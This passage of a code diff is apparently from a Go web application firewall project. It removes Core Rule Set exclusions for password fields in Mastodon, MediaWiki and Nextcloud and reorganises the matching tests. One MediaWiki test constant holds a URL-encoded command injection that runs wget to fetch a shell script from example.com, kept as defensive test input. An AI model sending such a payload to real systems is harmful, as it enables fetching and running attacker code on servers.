-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
-
-SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
-    "id:900966,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
-
 # The web app's reports have the JSON keys forward and forward_to_domains. A
 # report forwarded to another server lists that server in forward_to_domains.
 # Their names contain .forward, a file in a home folder, so 930120 refused every

internal/coreruleset/mastodon_test.go

@@ -6,7 +6,6 @@ import (
 	"net/http"
 	"net/url"
 	"slices"
-	"strings"
 	"testing"
 
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -55,12 +54,6 @@ const (
 	mastodonStatus   = "status="
 )
 
-func TestOrdinaryMastodonRequestsPass(t *testing.T) {
-	t.Parallel()
-
-	wantRecordedRequestsPass(t, "mastodon-requests.txt")
-}
-
 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
 // and 932260 in the query, on a path where it skips them, ending in "=".
 //
@@ -130,6 +123,10 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
 	{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
 	{http.MethodPost, "/settings/migration", "account_migration[acct]="},
+	{http.MethodPost, mastodonSignIn, mastodonPassword},
+	{http.MethodPost, mastodonAccount, mastodonPassword},
+	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
+	{http.MethodPost, mastodonAccount, "user[current_password]="},
 	{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
 	{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
 	{http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -142,19 +139,6 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, mastodonRoles, "user_role[name]="},
 	{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
 	{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
-	{http.MethodPost, mastodonSignUp, "reason="},
-}
-
-// mastodonPasswordForms sends each password field in a form data body, on
-// a path where it skips the four rules and the rules that random passwords
-// set off.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var mastodonPasswordForms = []mastodonBodyField{
-	{http.MethodPost, mastodonSignIn, mastodonPassword},
-	{http.MethodPost, mastodonAccount, mastodonPassword},
-	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
-	{http.MethodPost, mastodonAccount, "user[current_password]="},
 	{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
 	{
 		http.MethodPost, "/settings/migration/redirect",
@@ -162,14 +146,7 @@ var mastodonPasswordForms = []mastodonBodyField{
 	},
 	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
 	{http.MethodPost, mastodonSignUp, passwordField},
-}
+	{http.MethodPost, mastodonSignUp, "reason="},
-
-// mastodonPasswordJSON sends the password of signing up through the API in
-// a JSON body, with %s for its value.
-//
-//nolint:gochecknoglobals // a struct cannot be a constant
-var mastodonPasswordJSON = mastodonBodyField{
-	http.MethodPost, mastodonSignUp, `{"password":%s}`,
 }
 
 // mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -195,6 +172,7 @@ var mastodonJSONFields = []mastodonBodyField{
 	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
 	{http.MethodPost, mastodonReports, `{"comment":%s}`},
 	{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
+	{http.MethodPost, mastodonSignUp, `{"password":%s}`},
 	{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
 	{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -303,34 +281,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	}
 }
 
-func TestMastodonPasswordsPass(t *testing.T) {
-	t.Parallel()
-
-	for _, sent := range mastodonPasswordForms {
-		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
-			t.Parallel()
-
-			r := request{sent.method, sent.target, []string{formData}}
-			name := strings.TrimSuffix(sent.field, "=")
-
-			wantRandomPasswordsPass(t, r, name)
-			wantPasswordAttacksPass(t, r, name)
-			wantPasswordAttacksRefused(t, r, name)
-		})
-	}
-
-	t.Run("JSON", func(t *testing.T) {
-		t.Parallel()
-
-		r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
-			[]string{jsonBody}}
-
-		wantRandomPasswordsPass(t, r, "password")
-		wantPasswordAttacksPass(t, r, "password")
-		wantPasswordAttacksRefused(t, r, "password")
-	})
-}
-
 func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 	t.Parallel()
 
@@ -343,7 +293,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 		}
 	}
 
-	for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
+	for _, sent := range mastodonFormFields {
 		if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
@@ -354,8 +304,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 		t.Fatal(err)
 	}
 
-	passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
+	for _, sent := range mastodonJSONFields {
-	for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
 		if mastodonJSON(t, sent, attack) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
@@ -375,12 +324,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
 				t.Errorf("%s refused: %d", sent, score)
 			}
 		}
-
-		for _, sent := range mastodonPasswordForms {
-			if mastodonForm(t, sent, value) >= mastodonThreshold {
-				t.Errorf("%v with %s refused", sent, value)
-			}
-		}
 	}
 
 	code := url.QueryEscape(mastodonCodePost)

internal/coreruleset/mediawiki.conf

@@ -108,86 +108,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
 
-# wpPassword, lgpassword and password skip each rule random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
-    "id:900917,phase:1,pass,nolog,chain"
-    SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
-    SecRule &ARGS_GET:wpPassword "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
-
-SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
-    "id:900918,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
-
 # Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
 # or prependtext, and the REST API in the JSON field source. Each of these
 # rules refused saving or previewing a page whose wikitext held a template, a

internal/coreruleset/mediawiki_test.go

@@ -3,7 +3,6 @@ package coreruleset_test
 import (
 	"net/http"
 	"slices"
-	"strings"
 	"testing"
 )
 
@@ -43,16 +42,10 @@ const (
 	mediawikiUploadPage = "/index.php/Special:Upload"
 )
 
-func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
-	t.Parallel()
-
-	wantRecordedRequestsPass(t, "mediawiki-requests.txt")
-}
-
 // mediawikiQueryFields and mediawikiBodyFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
-// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
+// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
-// each in the query, on a path where it skips them, ending in "=".
+// path where it skips them, ending in "=".
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiQueryFields = []string{
@@ -137,9 +130,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
 type mediawikiBodyField struct{ target, field string }
 
 // mediawikiBodyFields and mediawikiQueryFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
-// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
+// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
-// each in a form data body, on a path where it skips them.
+// a path where it skips them.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiBodyFields = []mediawikiBodyField{
@@ -147,11 +140,13 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiUpload, "wpUploadDescription="},
 	{mediawikiUpload, "wpDestFile="},
 	{mediawikiSignIn, "wpName="},
+	{mediawikiSignIn, "wpPassword="},
 	{mediawikiMove, "wpOldTitle="},
 	{mediawikiMove, "wpNewTitleMain="},
 	{mediawikiMove, "wpReason="},
 	{mediawikiBlock, "wpTarget="},
 	{mediawikiSignInPage, "wpName="},
+	{"/w" + mediawikiSignInPage, "wpPassword="},
 	{mediawikiUploadPage, "wpDestFile="},
 	{"/w" + mediawikiUploadPage, "wpUploadDescription="},
 	{mediawikiAPI, "title="},
@@ -164,18 +159,8 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiAPI, "reason="},
 	{mediawikiAPI, "user="},
 	{mediawikiAPI, "lgname="},
-	{mediawikiAPI, "username="},
-}
-
-// mediawikiPasswordFields are the passwords, which skip the four rules and the
-// rules that random passwords set off. mediawikiPasswordFields sends each in a
-// form data body, on a path where it skips them.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var mediawikiPasswordFields = []mediawikiBodyField{
-	{mediawikiSignIn, "wpPassword="},
-	{"/w" + mediawikiSignInPage, "wpPassword="},
 	{mediawikiAPI, "lgpassword="},
+	{mediawikiAPI, "username="},
 	{mediawikiAPI, passwordField},
 }
 
@@ -242,23 +227,6 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
-func TestMediaWikiPasswordsPass(t *testing.T) {
-	t.Parallel()
-
-	for _, sent := range mediawikiPasswordFields {
-		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
-			t.Parallel()
-
-			r := request{http.MethodPost, sent.target, []string{formData}}
-			name := strings.TrimSuffix(sent.field, "=")
-
-			wantRandomPasswordsPass(t, r, name)
-			wantPasswordAttacksPass(t, r, name)
-			wantPasswordAttacksRefused(t, r, name)
-		})
-	}
-}
-
 // mediawikiCommandAttack is a shell command that only 932235 refuses on the
 // fields that skip the other command rules, as a query value.
 const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -279,8 +247,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs = readingBodies(t)
 
-	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
+	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
-		mediawikiPasswordFields) {
 		r := request{http.MethodPost, sent.target, []string{formData}}
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -338,8 +305,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 			}
 		}
 
-		fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
+		fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
-			mediawikiPasswordFields)
+			mediawikiWikitextFields...)
 
 		for _, sent := range fields {
 			r := request{http.MethodPost, sent.target, []string{formData}}

internal/coreruleset/nextcloud.conf

@@ -61,46 +61,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
     ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
     ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
 
-# The password, in the body, skips each rule that random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
-    "id:900125,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:password "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:password,\
-        ctl:ruleRemoveTargetById=920540;ARGS:password,\
-        ctl:ruleRemoveTargetById=921200;ARGS:password,\
-        ctl:ruleRemoveTargetById=930100;ARGS:password,\
-        ctl:ruleRemoveTargetById=930110;ARGS:password,\
-        ctl:ruleRemoveTargetById=930120;ARGS:password,\
-        ctl:ruleRemoveTargetById=932125;ARGS:password,\
-        ctl:ruleRemoveTargetById=932130;ARGS:password,\
-        ctl:ruleRemoveTargetById=932160;ARGS:password,\
-        ctl:ruleRemoveTargetById=932230;ARGS:password,\
-        ctl:ruleRemoveTargetById=932250;ARGS:password,\
-        ctl:ruleRemoveTargetById=932260;ARGS:password,\
-        ctl:ruleRemoveTargetById=932270;ARGS:password,\
-        ctl:ruleRemoveTargetById=932280;ARGS:password,\
-        ctl:ruleRemoveTargetById=932330;ARGS:password,\
-        ctl:ruleRemoveTargetById=932340;ARGS:password,\
-        ctl:ruleRemoveTargetById=932370;ARGS:password,\
-        ctl:ruleRemoveTargetById=932380;ARGS:password,\
-        ctl:ruleRemoveTargetById=933100;ARGS:password,\
-        ctl:ruleRemoveTargetById=933135;ARGS:password,\
-        ctl:ruleRemoveTargetById=933180;ARGS:password,\
-        ctl:ruleRemoveTargetById=933210;ARGS:password,\
-        ctl:ruleRemoveTargetById=941100;ARGS:password,\
-        ctl:ruleRemoveTargetById=941120;ARGS:password,\
-        ctl:ruleRemoveTargetById=941160;ARGS:password,\
-        ctl:ruleRemoveTargetById=941180;ARGS:password,\
-        ctl:ruleRemoveTargetById=942100;ARGS:password,\
-        ctl:ruleRemoveTargetById=942151;ARGS:password,\
-        ctl:ruleRemoveTargetById=942190;ARGS:password,\
-        ctl:ruleRemoveTargetById=942230;ARGS:password,\
-        ctl:ruleRemoveTargetById=942290;ARGS:password,\
-        ctl:ruleRemoveTargetById=942320;ARGS:password,\
-        ctl:ruleRemoveTargetById=942540;ARGS:password,\
-        ctl:ruleRemoveTargetById=942550;ARGS:password,\
-        ctl:ruleRemoveTargetById=944150;ARGS:password"
-
 # The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
 SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
     "id:900103,phase:1,pass,nolog,\

internal/coreruleset/nextcloud_test.go

@@ -16,9 +16,6 @@ import (
 // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
 const nextcloudThreshold = 5
 
-// nextcloudSignIn is the sign-in page.
-const nextcloudSignIn = "/login"
-
 // nextcloudShare is a public share's page.
 const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
 
@@ -51,12 +48,6 @@ const (
 // nextcloudOther is a JSON field no exclusion names.
 const nextcloudOther = `{"other":"python3"}`
 
-func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
-	t.Parallel()
-
-	wantRecordedRequestsPass(t, "nextcloud-requests.txt")
-}
-
 // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
 // and 932260, each on a path where it skips them, ending in "=".
 //
@@ -86,7 +77,8 @@ var nextcloudQueryFields = []string{
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var nextcloudFormFields = []struct{ target, field string }{
-	{nextcloudSignIn, "user="},
+	{"/login", "user="},
+	{"/login", passwordField},
 	{nextcloudUsers, "userid="},
 	{nextcloudUsers, "displayName="},
 	{nextcloudUsers, "groups%5B%5D="},
@@ -303,17 +295,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
 	return scores
 }
 
-// nextcloudPasswordScore returns the score that the Core Rule Set, reading
-// bodies, gives signing in with value, a query value, as the password.
-func nextcloudPasswordScore(t *testing.T, value string) int {
-	t.Helper()
-
-	r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
-	got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
-
-	return got.Score
-}
-
 func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
 	t.Parallel()
 
